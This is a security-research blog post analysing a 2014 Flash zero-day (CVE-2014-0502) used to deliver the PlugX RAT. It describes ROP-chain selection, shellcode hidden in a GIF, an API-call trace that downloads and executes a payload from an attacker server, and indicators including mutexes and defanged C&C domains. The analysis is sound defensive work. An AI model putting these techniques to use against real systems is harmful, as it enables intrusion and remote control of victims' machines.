Analysis of an attack exploiting the Adobe Zero-day - CVE-2014-0502

February 21, 2014 | Jaime Blasco
X

Get the latest security news in your inbox.

Subscribe via Email

No thanks. Close this now.

Yesterday FireEye reported about a new Zero-Day affecting Adobe Flash that is being exploited in the wild and Adobe issued a security update regarding the vulnerability.

Several websistes were redirecting visitors to a malicious server containing the exploit including:

  • Peterson Institute for International Economics
  • American Research Center in Egypt
  • Smith Richardson Foundation

as reported by FireEye.

The malicious Flash file is hosted on http://4.59.XXX.XX/common/cc.swf

The Flash file contains some interesting debug symbols:

C:\Users\007\Desktop\FlashExp(ie)\src\cc.as

The ActionScript code inside the Flash file is reponsible for determining the operating system and selecting the hard-coded ROP chains to bypass ASLR.

For Windows XP it first checks the language and only contains ROP chains to target the following languages:

  • English
  • Chinese

In this case (Windows XP) the ROP chain is built using msvcrt.dll that is a well known technique.

If the system is running Windows 7:

  • It checks if the system has Java 1.6 or Java 1.7 installed.
    • If it runs Java 1.6 it uses the ROP chain for msvcr71.dll that is shipped with Java 1.6 and it is not protected by ASLR.
       
  • It checks if the system has Microsoft Office 2007 or 2010
    • If it does, it builds the ROP chain using hxds.dll that is shipped with Microsoft Office 2007/2010 and it is not protected by ASLR.
    • In order to load hxds.dll it uses the protocol handler location.href = 'ms-help:', a technique commonly seen in these kind of exploits.

The ActionScript code is also responsible of downloading a GIF file:

The download file is a valid image as we can see:

 

But it also contains a shellcode at offset 3344 that downloads and execute a PE32 file from the same server:

Extracting the shellcode from the valid image file is a clever technique since it is likely to bypass most of the network security products.

The shellcode performs the following actions to download and execute PE32 file:

    LoadLibraryA(wininet)

    LoadLibraryA(user32)

    VirtualProtect(adr=404bf1, sz=4, flags=40)

    SetUnhandledExceptionFilter(0)

    VirtualProtect(adr=7c81cdda, sz=82, flags=40)

    VirtualProtect(adr=7c81cdda, sz=82, flags=0)

    SetUnhandledExceptionFilter(7c81cdda)

    GetTempPath(len=104, buf=12fca4) = 14

    GetTempFileName(path=C:\users\jaime\Temp\, prefix=0, unique=0, buf=12fca4) = 245D

     Path = C:\users\jaime\Temp\245d.tmp

    InternetOpenA()

    InternetOpenUrlA(http://4.59.XX.XX/common/update.exe)

    CreateFileA(C:\users\jaime\Temp\245d.tmp) = 4

    InternetReadFile(1, buf: 12fbe8, size: 64)

    InternetCloseHandle(1) = 1

    InternetCloseHandle(1) = 1

    CloseHandle(4)

The payload used in this attack is the infamous PlugX RAT (Remote Access Tool) that we have blogged about several times:

The malware copy itself into \All Users\DRM\RasTls\RasTls.exe

It creates the following mutexes during execution:

  • \BaseNamedObjects\Global\dklw
  • \BaseNamedObjects\Global\cso
  • \BaseNamedObjects\Global\qemyqvmyhiy
  • \BaseNamedObjects\Global\eriwjjo
  • \BaseNamedObjects\Global\etniisebehheq
  • \BaseNamedObjects\Global\beetxado
  • \BaseNamedObjects\Global\zhyzrjduosfptunf
  • \BaseNamedObjects\Global\zzusnnzeqgzupeto
  • \BaseNamedObjects\Global\onwmkwazrynpn
  • \BaseNamedObjects\Global\nmtg
  • \BaseNamedObjects\Global\helbibkzhruo
  • \BaseNamedObjects\Global\opylrvflplgad
  • \BaseNamedObjects\Global\zgjawrojchcfavnh
  • \BaseNamedObjects\Global\gmd
  • \BaseNamedObjects\Global\svdwr
  • \BaseNamedObjects\Global\unbdehrrxgqujyazj
  • \BaseNamedObjects\Global\qpl
  • \BaseNamedObjects\Global\ihnwguwceofkhcv
  • \BaseNamedObjects\Global\kvxieoc
  • \BaseNamedObjects\My_Name_horse (Svchost)

and it injects itself into the svchost process.

The PlugX sample contains three different command and control servers:

00903474 -> java[.]ns1[.]name

009034B8 -> adservice[.[no-ip[.]org

009034FC -> wmi[.]ns01[.]us

and communicates via HTTP with the C&C:

Notice that specific C&C domain is sinkholed right now:

To conclude, I don't have to mention that you should apply Adobe's patch as soon as possible as well as update the vulnerable Java and Office versions that are being used to bypass ASLR.

Happy hunting!

Jaime Blasco

About the Author: Jaime Blasco
Jaime Blasco is a renowned Security Researcher with broad experience in network security, malware analysis and incident response. At AlienVault, Jaime leads the Lab Intelligence and Research team that leads the charge of researching and integrating threat intelligence into detection mechanisms. Prior to working at AlienVault he founded a couple of startups (Eazel, Aitsec) working on web application security, source code analysis and incident response. He is based in San Francisco. Jaime's work in emerging threats and targeted attacks is frequently cited in international publications such as New York Times, BBC, Washington Post and Al Jazeera.
Read more posts from Jaime Blasco ›

‹ BACK TO ALL BLOGS

Watch a Demo ›
GET PRICE FREE TRIAL CHAT